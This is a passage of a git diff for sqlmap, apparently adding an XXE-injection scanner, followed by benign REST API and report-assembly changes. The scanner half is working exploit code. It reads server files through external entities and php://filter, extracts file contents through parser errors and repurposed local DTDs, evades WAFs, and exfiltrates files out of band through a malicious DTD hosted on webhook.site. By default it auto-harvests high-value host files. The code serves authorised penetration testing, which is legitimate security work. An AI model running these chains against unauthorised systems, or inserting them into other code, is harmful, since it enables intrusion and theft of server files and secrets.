_readBetweenMarkers(xml, rootName, bogus, False, m1, m2) + if control is not None and _ratio(control, data) >= UPPER_RATIO_BOUND: + # a nonexistent path returned the same/similar text -> a path-independent placeholder, not + # the requested file's contents + logger.debug("XXE raw read of '%s' matches a nonexistent-path control; rejecting placeholder" % fileName) + return None, None + return data, payload + + return None, None + + +def _tryExternalFile(xml, rootName, baseline): + """Impact demonstration once XXE is live: read a benign host-identity file via + an external general entity. Returns (systemId, payload) on a confirmed read.""" + + for systemId, pattern in XXE_IMPACT_FILES: + ent = randomStr(length=8, lowercase=True) + subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + snippet = _confirmRead(_send(payload), pattern, baseline) + if snippet: + return systemId, payload + return None, None + + +def _tryPhpFilter(xml, rootName, baseline): + """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band + impact demonstration -> reads /etc/os-release; it deliberately never probes + /etc/passwd here (a specific file is read only on explicit '--file-read').""" + + from lib.core.convert import decodeBase64 + + baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) + for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),): + ent = randomStr(length=8, lowercase=True) + subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=%s">' % (ent, resource) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(payload) + for token in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(page)): + if token in baselineTokens: + continue + try: + decoded = getText(decodeBase64(token)) + except Exception: + continue + if decoded and re.search(pattern, decoded, re.M): + return payload + return None + + +def _tryError(xml, rootName): + """T3 error-based: a parameter entity points at a non-existent path carrying + the sentinel. Confirmed when the sentinel surfaces inside a parser error.""" + + subset = '<!ENTITY %% xxe SYSTEM "file:///%s/nonexistent">\n%%xxe;' % SENTINEL + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, page + + +def _tryLocalDtd(xml, rootName): + """T3b no-egress error-based: repurpose an on-disk DTD, redefine one of its + parameter entities to load a sentinel path, and read the sentinel back out of + the resulting parser error - no outbound network required.""" + + for dtdPath, entName in XXE_LOCAL_DTDS: + subset = ( + '<!ENTITY %% local_dtd SYSTEM "%s">\n' + "<!ENTITY %% %s '<!ENTITY % xxe SYSTEM \"file:///%s/nonexistent\">%xxe;'>\n" + "%%local_dtd;" + ) % (dtdPath, entName, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + page = _send(payload) + if SENTINEL in page and not _echoed(page): + return payload, page + return None, "" + + +def _tryErrorExfil(xml, rootName, errorChannel=False): + """In-band error-based file EXFILTRATION: coerce the parser into an error whose + message embeds the target file's contents (not just a sentinel). Two vehicles: + (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on + the exfil service -> needs egress to fetch it plus verbose errors, so it is only + attempted when an error channel was already confirmed (else it is pointless and + just burns third-party requests). php://filter base64 carries a whole multi-line + file intact; raw file:// leaks the first line. Returns (content, filename).""" + + from lib.core.convert import decodeBase64 + + fileName = conf.get("fileRead") + if not fileName: + return None, None + marker = randomStr(10, lowercase=True) + # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) + reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True), + (_toSystemId(fileName), False)) + + def _extract(page, isB64): + pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) + match = re.search(pattern, getUnicode(page)) + if not match: + return None + if isB64: + try: + return getText(decodeBase64(match.group(1))) or None + except Exception: + return None + return match.group(1) + + # (a) local-DTD repurposing - no egress + for dtdPath, entName in XXE_LOCAL_DTDS: + for systemId, isB64 in reads: + inner = ('<!ENTITY % file SYSTEM "%s">' + '<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///%s/%file;'>">' + '%eval;%error;') % (systemId, marker) + subset = '<!ENTITY %% local_dtd SYSTEM "%s">\n<!ENTITY %% %s \'%s\'>\n%%local_dtd;' % (dtdPath, entName, inner) + content = _extract(_send(_buildDoctype(xml, rootName, subset)), isB64) + if content: + return content, fileName + + # (b) DTD we host on the exfil service - egress + verbose errors (third party): + # skip on a blind target (no error channel) and without explicit OOB consent + if not (errorChannel and _oobConsent()): + return None, None + from lib.request.webhooksite import WebhookSite + wh = WebhookSite() + for systemId, isB64 in reads: + dtd = ('<!ENTITY %% file SYSTEM "%s">\n' + '<!ENTITY %% eval "<!ENTITY % error SYSTEM \'file:///%s/%%file;\'>">\n' + '%%eval;\n%%error;') % (systemId, marker) + token = wh.newToken(dtd) + if not token: + break + content = _extract(_send(_buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(token))), isB64) + if content: + return content, fileName + + return None, None + + +def _tryXInclude(xml, rootName, baseline, index=None): + """T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as + text. Confirmed when the file content appears in the response (baseline-guarded). + `index` selects the leaf text node to inject the <xi:include> into.""" + + for systemId, pattern in XXE_IMPACT_FILES: + snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId + payload = _placeRef(xml, snippet, index=index) + confirmed = _confirmRead(_send(payload), pattern, baseline) + if confirmed: + return payload, systemId, confirmed + return None, None, None + + +def _tryEvasions(xml, rootName, baseline): + """T5 WAF-evasion fallbacks, tried only when the straightforward tiers fail. + Each transform keeps the payload semantically identical while defeating a + common naive filter, so a reachable-but-filtered parser can still be caught. + Returns (title, payload) on a confirmed hit.""" + + # (1) UTF-16 re-encoding: libxml2/Xerces honor the BOM-declared encoding while + # ASCII byte-signature WAFs (grepping for "<!ENTITY"/"SYSTEM") miss it. + ent = randomStr(length=8, lowercase=True) + subset = '<!ENTITY %s "%s">' % (ent, SENTINEL) + body = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) + page = _send(getText(body).encode("utf-16")) # BOM-prefixed UTF-16, py2/py3 alike + if SENTINEL in page and not _echoed(page) and SENTINEL not in baseline: + return "In-band via UTF-16 re-encoding (WAF evasion)", getUnicode(body) + + # (2) PUBLIC keyword instead of SYSTEM: bypasses filters that only blocklist + # the SYSTEM identifier; the second literal is still the resolved system id. + subset = '<!ENTITY %% xxe PUBLIC "-//sqlmap//XXE//EN" "file:///%s/nonexistent">\n%%xxe;' % SENTINEL + body = _buildDoctype(xml, rootName, subset) + page = _send(body) + if SENTINEL in page and not _echoed(page): + return "Error-based via PUBLIC keyword (WAF evasion)", body + + return None, None + + +def _timed(body, timeout): + """One request, returning wall-clock seconds. ignoreTimeout keeps a stalled + parser from raising, so the elapsed time itself is the signal.""" + start = time.time() + try: + Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), + raise404=False, silent=True, ignoreTimeout=True, timeout=timeout) + except Exception: + pass + return time.time() - start + + +def _tryTimeBlind(xml, rootName): + """T6 last-resort blind detection with NO collector: an external parameter + entity aimed at a non-routable TEST-NET host stalls a fetching parser on the + connection. Confirmed only on a large, reproducible delay measured against a + DTD-processing control (an internal parameter entity, no fetch) - so DTD + overhead alone cannot trip it and only the outbound-fetch stall counts.""" + + control = _buildDoctype(xml, rootName, '<!ENTITY %% c "x">\n%%c;') + baseline = max(_timed(control, conf.timeout), _timed(control, conf.timeout)) + threshold = baseline + XXE_TIME_THRESHOLD + probeTimeout = min(conf.timeout, int(baseline) + XXE_TIME_THRESHOLD + 3) + + # Bound each stalled probe: the per-call timeout kwarg does not reach a pooled + # socket, so cap via conf.timeout (the value the connection actually uses) and + # drop conf.retries so a stall is not re-sent. Restored in finally. + _timeout, _retries = conf.timeout, conf.retries + conf.timeout, conf.retries = probeTimeout, 0 + try: + subset = '<!ENTITY %% x SYSTEM "http://%s/%s">\n%%x;' % (XXE_BLACKHOLE_HOST, SENTINEL) + payload = _buildDoctype(xml, rootName, subset) + + if _timed(payload, probeTimeout) < threshold: + return None + if _timed(payload, probeTimeout) < threshold: # must reproduce + return None + return payload + finally: + conf.timeout, conf.retries = _timeout, _retries + + +def _oobEnabled(): + """False when the user opted out of OOB entirely (`--oob-server none`).""" + return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") + + +def _oobConsent(): + """True only when the user has opted into contacting a third-party OOB service: + either explicitly (`--oob-server <host>`) or by answering the one-time prompt, + which defaults to NO - so '--batch' never silently phones a public service.""" + global _OOB_CONSENT + if not _oobEnabled(): + return False + if conf.get("oobServer"): + return True + if _OOB_CONSENT is None: + message = "do you want sqlmap to use a public out-of-band service " + message += "(interactsh/webhook.site) for blind XXE? [y/N] " + _OOB_CONSENT = readInput(message, default='N', boolean=True) + return _OOB_CONSENT + + +def _tryOobExfil(xml, rootName): + """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on + a public content+logging service (webhook.site), point the target's parser at + it, and read the file it ships back out. The DTD uses the classic nested + parameter-entity chain (only valid in an EXTERNAL DTD) and php://filter base64 + so any file survives the callback URL. The DTD-fetch itself doubles as blind + detection. Reads conf.fileRead if given, else a benign default. Returns a dict + {payload, filename, content, detected} or None if the service is unusable.""" + + from lib.core.convert import decodeBase64 + from lib.request.webhooksite import WebhookSite + + fileName = conf.get("fileRead") + if not fileName: + return None + + wh = WebhookSite() + exfilToken = wh.newToken() + if not exfilToken: + logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") + return None + + marker = randomStr(10, lowercase=True) + # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a + # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive + # and webhook.site logs the raw request URL, which we regex back out. + exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker) + dtd = ('<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n' + '<!ENTITY %% eval "<!ENTITY % exfil SYSTEM \'%s\'>">\n' + '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl) + dtdToken = wh.newToken(dtd) + if not dtdToken: + return None + + singleTimeWarnMessage("using public out-of-band exfiltration service '%s' for blind XXE" % wh.endpoint) + payload = _buildDoctype(xml, rootName, '<!ENTITY %% dtd SYSTEM "%s"> %%dtd;' % wh.hostUrl(dtdToken)) + _send(payload) + + content, detected = None, False + pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker)) + for _ in range(OOB_POLL_ATTEMPTS): + time.sleep(OOB_POLL_DELAY) + for record in wh.captured(exfilToken): + match = pattern.search(getText(record.get("url") or "")) + if match: + try: + content = getText(decodeBase64(match.group(1))) + except Exception: + content = match.group(1) + break + if content: + break + if not detected and wh.captured(dtdToken): + detected = True # the target fetched our DTD -> blind XXE confirmed even without exfil + + if not detected: + detected = bool(wh.captured(dtdToken)) + return {"payload": payload, "filename": fileName, "content": content, "detected": detected} + + +def _tryOob(xml, rootName): + """T7 blind confirmation via an out-of-band collector (interactsh): an external + parameter entity points at a unique callback URL. If the target's parser fetches + it (or even just resolves its DNS), the collector records the interaction and we + poll it back - definitive proof of blind XXE with egress, and it names the + channel (HTTP vs DNS-only). Returns (payload, protocol) or None.""" + + from lib.request.interactsh import Interactsh, hasCrypto + + if not hasCrypto(): + logger.debug("out-of-band blind XXE tier skipped (optional 'pycryptodome' not installed)") + return None + + client = Interactsh(server=conf.get("oobServer")) + if not client.registered: + logger.debug("out-of-band blind XXE tier skipped (could not register with an interaction server)") + return None + + singleTimeWarnMessage("using out-of-band interaction server '%s' for blind XXE confirmation (override with '--oob-server')" % client.server) + try: + url = client.url() + subset = '<!ENTITY %% oob SYSTEM "%s">\n%%oob;' % url + payload = _buildDoctype(xml, rootName, subset) + _send(payload) + interactions = client.pollUntil(OOB_POLL_ATTEMPTS, OOB_POLL_DELAY) + if interactions: + protocols = sorted(set((_.get("protocol") or "?").upper() for _ in interactions)) + return payload, ", ".join(protocols) + finally: + client.close() + return None + + +def xxeScan(): + global SENTINEL, _OOB_CONSENT, _PLACE_INDEX + SENTINEL = randomStr(length=12, lowercase=True) + _OOB_CONSENT = None + _PLACE_INDEX = 0 + + debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " + debugMsg += "in the request body and, once confirmed, automatically harvests high-value " + debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --dump) are ignored" + logger.debug(debugMsg) + + xml = _cleanBody() + if not _looksXml(xml): + logger.error("no XML body found to test (provide an XML request body via '--data' or '-r')") + return + + rootName = _rootName(xml) + if not rootName: + logger.error("could not locate the document root element in the XML body") + return + + logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) + + baseline = _send(xml) + found = False # an actual impact/oracle (file read, error-based, XInclude, blind) + expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search) + + # T2: in-band reflected DTD/internal-entity expansion. This proves the parser + # processes entities but is NOT yet file-read impact, so it deliberately does NOT + # set `found` on its own - we first try to UPGRADE it to real file-read impact and + # then emit a SINGLE report block with the strongest confirmed vector and its real + # payload (one report per finding, as with the other non-SQL engines). The internal + # expansion is only reported on its own when no external-entity read is reachable. + payload = page = None + for _locIndex in _sweepLocations(xml): + payload, page = _tryInternal(xml, rootName, baseline, index=_locIndex) + if payload: + _PLACE_INDEX = _locIndex # latch the reflecting location for every downstream read tier + if _locIndex: + logger.debug("in-band reflection confirmed at leaf text-node location #%d" % _locIndex) + break + if payload: + expansionSeen = True + logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") + + if conf.get("fileRead"): + content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead) + if content: + found = True + logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) + _report("In-band file read ('%s')" % conf.fileRead, readPayload) + _dumpFileRead(conf.fileRead, content) + else: + # No targeted '--file-read': AUTO-HARVEST a curated set of high-value files (the data + # stays in the response, no third party). `--xxe` is an auxiliary, self-contained switch + # - users generally don't know which file to request, so once an in-band read primitive + # is confirmed we harvest by default (the XXE analogue of the other non-SQL engines' + # automatic dumping). A specific target still overrides via '--file-read <path>'. + harvested = _harvestFiles(xml, rootName) + if harvested: + found = True + firstPath, _, firstPayload = harvested[0] + harvested += _harvestSource(xml, rootName, harvested) # server-side app source (php://filter) + logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested)) + _report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload) + saved = [] + for path, content, _ in harvested: + logger.info("read remote file '%s' (%d bytes)" % (path, len(content))) + localPath = _saveFileRead(path, content) + if localPath: + saved.append(localPath) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content)) + if saved: + conf.dumper.rFile(saved) + else: + # harvest read nothing (content relocated, or only benign host-identity exposed): + # fall back to the pattern-based impact proof so file-read impact is still confirmed + systemId, readPayload = _tryExternalFile(xml, rootName, baseline) + if not systemId: + readPayload = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if readPayload else None + if systemId: + found = True + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, readPayload) + + if not found: + # Only INTERNAL general-entity expansion is reachable - external retrieval / local file + # access / XInclude / OOB were NOT proven. That is a parser-configuration weakness, NOT a + # confirmed XXE (which requires external resolution). Report it as its own, weaker finding + # so it is not conflated with a true external-entity XXE. + _report("DTD/internal general entity expansion enabled (external entity access NOT confirmed)", + payload, vulnType="XML parser configuration") + + # T3: error-based (works where entities are not reflected but errors leak). A + # redundant detection channel once in-band reflection was already seen, so it is + # skipped then - the file-read *impact* tiers below still run to try to upgrade. + errorChannel = False + if not found and not expansionSeen: + payload, page = _tryError(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) + _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) + + # T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected) + if not found and not expansionSeen: + payload, page = _tryLocalDtd(xml, rootName) + if payload: + found = errorChannel = True + backend = _fingerprint(page) or "Generic XML" + logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") + _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) + + # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request. + # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs + # both a confirmed error channel (pointless on a blind target) and OOB consent. + if conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName, errorChannel) + if content: + found = True + logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName) + _report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName) + _dumpFileRead(fileName, content) + + # T4: XInclude fallback (no DOCTYPE/entity control needed). Reflection never latched a location + # here, so sweep the leaf text nodes (a schema-rejected or non-parsed first leaf otherwise hides it). + if not found: + for _locIndex in _sweepLocations(xml): + payload, systemId, snippet = _tryXInclude(xml, rootName, baseline, index=_locIndex) + if payload: + found = True + logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet)) + _report("XInclude file read ('%s')" % systemId, payload) + break + + # T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16 + # variant re-detects internal-entity reflection, so it is redundant (and mislabels + # as 'evasion') once reflection was already seen - skip it then. + if not found and not expansionSeen: + title, payload = _tryEvasions(xml, rootName, baseline) + if title: + found = True + logger.info("the XML body is vulnerable to XXE injection (%s)" % title.lower()) + _report(title, payload) + + # T6: time-based blind (no collector, no third party) - external entity to a non-routable host. + # Skipped once in-band reflection worked: the target is demonstrably not blind, so the (slow) + # blind tiers add nothing and would needlessly stall. + if not found and not expansionSeen: + logger.debug("attempting time-based blind XXE (external entity to a non-routable host); this can be slow") + payload = _tryTimeBlind(xml, rootName) + if payload: + found = True + logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") + _report("Time-based blind (external entity to non-routable host)", payload) + + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). Also blind-only + # (skipped when in-band reflection already worked, so a non-blind target never triggers the prompt). + # Low-impact callback confirmation is the default; actual file exfiltration is + # attempted only when the user explicitly asked for a file via '--file-read'. + if not found and not expansionSeen and _oobConsent(): + if conf.get("fileRead"): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + else: + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + + if not found: + if expansionSeen: + # in-band entity processing is real, but no external-entity/blind oracle was reachable + # (typically external entities disabled) - report honestly rather than overstate impact + logger.info("DTD/internal entity processing is enabled, but no external-entity file-read or blind XXE oracle was established") + logger.info("XXE scan complete") + return + # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser + # from a merely non-reflecting one so the user knows why it did not fire. + probe = _send(_buildDoctype(xml, rootName, '<!ENTITY %% p SYSTEM "file:///%s">%%p;' % SENTINEL)) + if re.search(XXE_HARDENED_REGEX, getUnicode(probe)): + logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)") + else: + backend = _fingerprint(probe) + if backend: + logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend) + logger.warning("the XML body does not appear to be injectable via XXE") + return + + logger.info("XXE scan complete") diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/utils/api.py b/lib/utils/api.py index 07367b15c4a..1a0794ec1db 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,39 +2,62 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + +import contextlib import logging import os import re import shlex +import socket import sqlite3 import sys import tempfile +import threading import time -import urllib2 from lib.core.common import dataToStdout from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.common import safeCompareStrings +from lib.core.common import saveConfig +from lib.core.common import setColor from lib.core.common import unArrayizeValue -from lib.core.convert import base64pickle -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 from lib.core.convert import dejsonize +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb -from lib.core.data import paths from lib.core.data import logger +from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.defaults import _defaults +from lib.core.dicts import PART_RUN_CONTENT_TYPES +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS -from lib.core.enums import PART_RUN_CONTENT_TYPES +from lib.core.enums import CONTENT_TYPE +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import IS_WIN +from lib.core.settings import RESTAPI_DEFAULT_ADAPTER +from lib.core.settings import RESTAPI_DEFAULT_ADDRESS +from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS +from lib.core.settings import RESTAPI_VERSION +from lib.core.settings import VERSION_STRING +from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser from thirdparty.bottle.bottle import error as return_error @@ -44,17 +67,216 @@ from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run +from thirdparty.bottle.bottle import server_names +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import input as _input +from thirdparty.six.moves import urllib as _urllib -RESTAPI_SERVER_HOST = "127.0.0.1" -RESTAPI_SERVER_PORT = 8775 - - -# global settings +# Global data storage class DataStore(object): - admin_id = "" + admin_token = "" current_db = None tasks = dict() + username = None + password = None + +RESTAPI_READONLY_OPTIONS = ("api", "taskid", "database") + +# Reverse map CONTENT_TYPE int -> name (e.g. 2 -> "DBMS_FINGERPRINT"), for machine-readable reports +CONTENT_TYPE_NAMES = dict((v, k) for k, v in vars(CONTENT_TYPE).items() if not k.startswith("_") and isinstance(v, int)) + +# Task id used for the single-target CLI collector backing --report-json +REPORT_TASKID = 0 + +def _storeData(cursor, taskid, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): + """ + Records a single (status, content_type, value) result row into an IPC-style 'data' table. + + Shared by the REST API (via StdDbOut) and the CLI --report-json collector so both capture + results through identical logic (partial outputs are appended; a COMPLETE output replaces + its partials). Mirrors the API's per-content_type merge semantics. + """ + + if content_type is None: + if kb.partRun is not None: + content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) + else: + # Ignore all non-relevant (untyped) messages + return + + output = cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (taskid, content_type)) + + # Delete partial output from the database if we have got a complete output + if status == CONTENT_STATUS.COMPLETE: + if len(output) > 0: + for index in xrange(len(output)): + cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + if kb.partRun: + kb.partRun = None + + elif status == CONTENT_STATUS.IN_PROGRESS: + if len(output) == 0: + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + else: + new_value = "%s%s" % (dejsonize(output[0][2]), value) + cursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + +# Internal detection/plumbing fields that are meaningless to API/report consumers and are stripped +# from the assembled output (the underlying kb/session structures keep them; only the output is cleaned) +INJECTION_INTERNAL_FIELDS = ("conf", "prefix", "suffix", "ptype", "clause") # detection/construction internals, irrelevant to a result consumer +TECHNIQUE_INTERNAL_FIELDS = ("matchRatio", "trueCode", "falseCode", "templatePayload", "where") # per-technique internals + +def _cleanIdentifier(name): + """ + Strips SQL identifier quoting (`backticks`, "double quotes", [brackets]) in a DBMS-INDEPENDENT + way. Used instead of unsafeSQLIdentificatorNaming (which needs Backend.getIdentifiedDbms) so the + result is identical in the CLI and in the API server process - which has no Backend context + because the scan ran in a subprocess. Context-free => API and report stay in parity. + """ + + if isinstance(name, six.string_types): + for ch in ("`", "\"", "[", "]"): + name = name.replace(ch, "") + return name + +def _cleanIdentifiersDeep(value): + """ + Recursively unquotes every identifier in a metadata structure (dict keys and string leaves - + db/table/column names). Used for the schema-listing content types (TABLES/COLUMNS/SCHEMA/COUNT) + whose payload is entirely identifiers + types/counts (never user row data), so cleaning every + string is safe. NOT used for DUMP_TABLE, whose leaf values are real row data. + """ + + if isinstance(value, dict): + return dict((_cleanIdentifier(k), _cleanIdentifiersDeep(v)) for k, v in value.items()) + elif isinstance(value, (list, tuple)): + return [_cleanIdentifiersDeep(_) for _ in value] + elif isinstance(value, six.string_types): + return _cleanIdentifier(value) + return value + +# Schema-listing content types: pure identifiers + types/counts, so identifier quoting is cleaned +# recursively for consistency with DUMP_TABLE (which is handled separately because it carries row data) +IDENTIFIER_KEYED_TYPES = (CONTENT_TYPE.TABLES, CONTENT_TYPE.COLUMNS, CONTENT_TYPE.SCHEMA, CONTENT_TYPE.COUNT) + +def _sanitizeScanData(content_type, value): + """ + Reshapes an assembled result value into the clean, consumer-facing form used by BOTH the API + response and the --report-json file: internal detection/plumbing fields are dropped, the + per-technique map becomes a named list, and dumped-table identifiers are unquoted. Operates on + the dejsonized copy, so the live kb/session structures are never modified. Falls back to the raw + value on any surprise. + """ + + try: + if content_type == CONTENT_TYPE.TECHNIQUES and isinstance(value, (list, tuple)): + cleaned = [] + for injection in value: + if not isinstance(injection, dict): + cleaned.append(injection) + continue + injection = dict(injection) + for field in INJECTION_INTERNAL_FIELDS: + injection.pop(field, None) + techniques = injection.get("data") + if isinstance(techniques, dict): + # turn the {"1": {...}, "2": {...}} map (keyed by opaque technique ids) into an + # ordered list, each entry naming its technique (e.g. "boolean-based blind") + reduced = [] + for stype in sorted(techniques, key=lambda _: int(_) if str(_).isdigit() else _): + details = techniques[stype] + if isinstance(details, dict): + details = dict(details) + for field in TECHNIQUE_INTERNAL_FIELDS: + details.pop(field, None) + key = int(stype) if str(stype).isdigit() else stype + entry = {"technique": PAYLOAD.SQLINJECTION.get(key, key)} + entry.update(details) + details = entry + reduced.append(details) + injection["data"] = reduced + cleaned.append(injection) + return cleaned + + elif content_type == CONTENT_TYPE.DUMP_TABLE and isinstance(value, dict): + infos = value.get("__infos__") or {} + result = {"db": _cleanIdentifier(infos.get("db")), "table": _cleanIdentifier(infos.get("table")), "count": infos.get("count"), "columns": {}} + for column, cell in value.items(): + if column == "__infos__": + continue + # clean the identifier, drop the per-column display 'length', keep just the values list + values = cell.get("values") if isinstance(cell, dict) else cell + if isinstance(values, (list, tuple)): + # sqlmap represents a DB NULL as a single space (DUMP_REPLACEMENTS); surface it as + # JSON null. An empty string "" is a genuine empty value and is left as-is. + values = [None if _ == " " else _ for _ in values] + result["columns"][_cleanIdentifier(column)] = values + return result + + elif content_type in IDENTIFIER_KEYED_TYPES and isinstance(value, (dict, list, tuple)): + return _cleanIdentifiersDeep(value) + + except Exception as ex: + logger.debug("failed to sanitize scan data (content type %s): %s" % (content_type, getSafeExString(ex))) + + return value + +def _assembleData(cursor, taskid): + """ + Assembles all stored results for a task into the canonical scan-data structure + {"success": True, "data": [{status, type, type_name, value}, ...], "error": [...]}. + + Shared by the REST API endpoint /scan/<id>/data and the CLI --report-json writer so the two + produce identical output (the CLI report is this dict plus a 'meta' wrapper). + """ + + json_data_message = list() + json_errors_message = list() + + for status, content_type, value in cursor.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_data_message.append({"status": status, "type": content_type, "type_name": CONTENT_TYPE_NAMES.get(content_type), "value": _sanitizeScanData(content_type, dejsonize(value))}) + for error, in cursor.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_errors_message.append(error) + + return {"success": True, "data": json_data_message, "error": json_errors_message} + +def setupReportCollector(): + """ + Creates an in-memory IPC-style database used to collect results for a CLI --report-json run. + Reuses the same Database/schema the REST API uses so capture+assembly logic is shared. + """ + + collector = Database(":memory:") + collector.connect("report") + collector.init() + + # record error/critical log messages into the collector so that a CLI --report-json report carries + # the same 'error' content the REST API exposes via /scan/<id>/data - letting consumers tell a + # failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data') + logger.addHandler(ReportErrorRecorder(collector)) + + return collector + +def writeReportJson(collector, 